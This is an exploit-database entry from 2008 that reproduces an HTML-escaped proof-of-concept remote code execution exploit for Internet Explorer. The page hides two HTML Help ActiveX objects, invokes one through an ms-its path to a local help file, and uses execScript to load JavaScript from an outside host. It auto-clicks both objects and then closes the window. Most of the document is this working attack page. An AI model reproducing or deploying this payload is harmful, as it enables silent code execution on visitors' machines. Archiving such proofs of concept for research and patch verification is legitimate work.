MS Internet Explorer Remote Code Execution with Parameters - PoC

🗓️ 05 Jun 2008 00:00:00Reported by RootType
MS Internet Explorer Remote Code Execution - Po

                                                &lt;!--&nbsp;
Download&nbsp;this&nbsp;file&nbsp;as&nbsp;well&nbsp;for&nbsp;your&nbsp;own&nbsp;testing:&nbsp;&nbsp;original&nbsp;htm.txt
http://www.milw0rm.com/down.php?id=723

//str0ke
--&gt;&nbsp;&nbsp;

&lt;html&gt;&lt;head&gt;&lt;title&gt;CMDExe&nbsp;-&nbsp;Windows&nbsp;Exploit&nbsp;-&nbsp;Remote&nbsp;code&nbsp;execution&nbsp;with&nbsp;parameters&nbsp;-&nbsp;Proof&nbsp;of&nbsp;Concept&lt;/title&gt;&lt;/head&gt;&lt;BODY&nbsp;style=&quot;font-family:Verdana;color:#0000FF;font-size:14px&quot;&gt;More&nbsp;info&nbsp;about&nbsp;this&nbsp;exploit&nbsp;can&nbsp;be&nbsp;found&nbsp;at&nbsp;&lt;a&nbsp;href=&quot;http://freehost19.websamba.com/shreddersub7/expl-discuss.htm&quot;&nbsp;target=&quot;_new&quot;&gt;hhttp://freehost19.websamba.com/shreddersub7/expl-discuss.htm&lt;/a&gt;.&nbsp;?&nbsp;2004&nbsp;ShredderSub7
&lt;script&gt;
&nbsp;&nbsp;function&nbsp;DisplayLocStrings()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;Title.innerHTML&nbsp;=&nbsp;TAG_SYSCONFIG;
&nbsp;&nbsp;&nbsp;&nbsp;Config_Link.innerHTML&nbsp;=&nbsp;TAG_OPENSYSCONFIG;
&nbsp;&nbsp;&nbsp;&nbsp;Config_Desc.innerHTML&nbsp;=&nbsp;TAG_SYSCONFIGDESC;
&nbsp;&nbsp;}
&nbsp;&nbsp;&lt;/script&gt;
&lt;br&gt;&lt;OBJECT&nbsp;style=&quot;display:none&quot;&nbsp;id=&quot;locate&quot;&nbsp;type=&quot;application/x-oleobject&quot;&nbsp;classid=&quot;clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11&quot;&nbsp;codebase=&quot;hhctrl.ocx#Version=5,2,3790,1194&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Command&quot;&nbsp;value=&quot;Related&nbsp;Topics,&nbsp;MENU&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Button&quot;&nbsp;value=&quot;Text:_&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Window&quot;&nbsp;value=&quot;$global_blank&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Item1&quot;&nbsp;value=&quot;command;ms-its:c:/windows/help/ntshared.chm::/alt_url_enterprise_specific.htm&quot;&gt;
&lt;/OBJECT&gt;
&lt;OBJECT&nbsp;style=&quot;display:none&quot;&nbsp;id=&quot;locator&quot;&nbsp;type=&quot;application/x-oleobject&quot;&nbsp;classid=&quot;clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11&quot;&nbsp;codebase=&quot;hhctrl.ocx#Version=5,2,3790,1194&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Command&quot;&nbsp;value=&quot;Related&nbsp;Topics,&nbsp;MENU&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Button&quot;&nbsp;value=&quot;Text:_&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Window&quot;&nbsp;value=&quot;$global_blank&quot;&gt;
&lt;PARAM&nbsp;name=&quot;Item1&quot;&nbsp;value='command;javascript:execScript(&quot;document.write(\&quot;&lt;script&nbsp;language=\\\&quot;javascript\\\&quot;&nbsp;src=\\\&quot;http://www.milw0rm.com/down.php?id=723\\\&quot;\&quot;+String.fromCharCode(62)+\&quot;&lt;/scr\&quot;+\&quot;ipt\&quot;+String.fromCharCode(62))&quot;)'&gt;

&lt;/OBJECT&gt;
&lt;script&gt;locate.HHClick();setTimeout(&quot;locator.HHClick()&quot;,100);setTimeout(&quot;window.opener=null;window.close()&quot;,10000)&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;
05 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1